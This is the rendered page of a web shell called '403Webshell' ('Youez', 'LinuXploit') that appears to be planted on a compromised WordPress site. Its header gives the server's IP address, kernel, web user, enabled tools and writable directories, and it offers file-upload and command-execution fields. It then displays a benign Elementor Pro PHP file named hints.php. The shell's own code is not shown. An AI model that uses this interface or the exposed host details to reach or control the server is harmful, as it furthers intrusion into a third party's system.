403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.119
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/yme/wp-content/plugins/elementor-pro/core/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/yme/wp-content/plugins/elementor-pro/core/utils/hints.php
<?php

namespace ElementorPro\core\utils;

use Elementor\Core\Utils\Hints as Core_Hints;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

/**
 * Class Hints
 */
class Hints extends Core_Hints {
	public static function should_show_hint( $hint_id ): bool {
		// Check if needed functions exists - if not, require them
		if ( ! function_exists( 'get_plugins' ) || ! function_exists( 'is_plugin_active' ) ) {
			require_once ABSPATH . 'wp-admin/includes/plugin.php';
		}

		if ( is_array( $hint_id ) ) {
			$hint = $hint_id;
		} else {
			$hint = self::get_hints( $hint_id );
		}
		foreach ( $hint as $key => $value ) {
			switch ( $key ) {
				case self::DISMISSED:
					// support multiple dismissed hints
					foreach ( (array) $value as $dismissed_hint ) {
						if ( self::is_dismissed( $dismissed_hint ) ) {
							return false;
						}
					}
					break;
				case self::CAPABILITY:
					if ( ! current_user_can( $value ) ) {
						return false;
					}
					break;
				case self::DEFINED:
					if ( defined( $value ) ) {
						return false;
					}
					break;
				case self::PLUGIN_INSTALLED:
					if ( ! self::is_plugin_installed( $value ) ) {
						return false;
					}
					break;
				case self::PLUGIN_ACTIVE:
					if ( ! self::is_plugin_active( $value ) ) {
						return false;
					}
					break;
			}
		}
		return true;
	}

	public static function get_hints( $hint_key = null ): array {
		$hints = [
			'site_mailer_forms_email_notice' => [
				self::DISMISSED => 'site_mailer_forms_email_notice',
				self::CAPABILITY => 'install_plugins',
				self::DEFINED => 'SITE_MAILER_VERSION',
			],
			'site_mailer_forms_submissions_notice' => [
				self::DISMISSED => [ 'site_mailer_forms_submissions_notice', 'site_mailer_forms_email_notice' ],
				self::CAPABILITY => 'install_plugins',
				self::DEFINED => 'SITE_MAILER_VERSION',
			],
			'send_app_wc_widgets_notice' => [
				self::DISMISSED => [ 'send_app_wc_widgets_notice' ],
				self::CAPABILITY => 'install_plugins',
				self::DEFINED => 'SEND_VERSION',
			],
			'send_app_forms_submissions_notice' => [
				self::DISMISSED => [ 'send_app_forms_submissions_notice' ],
				self::CAPABILITY => 'install_plugins',
				self::DEFINED => 'SEND_VERSION',
			],
		];
		if ( ! $hint_key ) {
			return $hints;
		}

		return $hints[ $hint_key ] ?? [];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit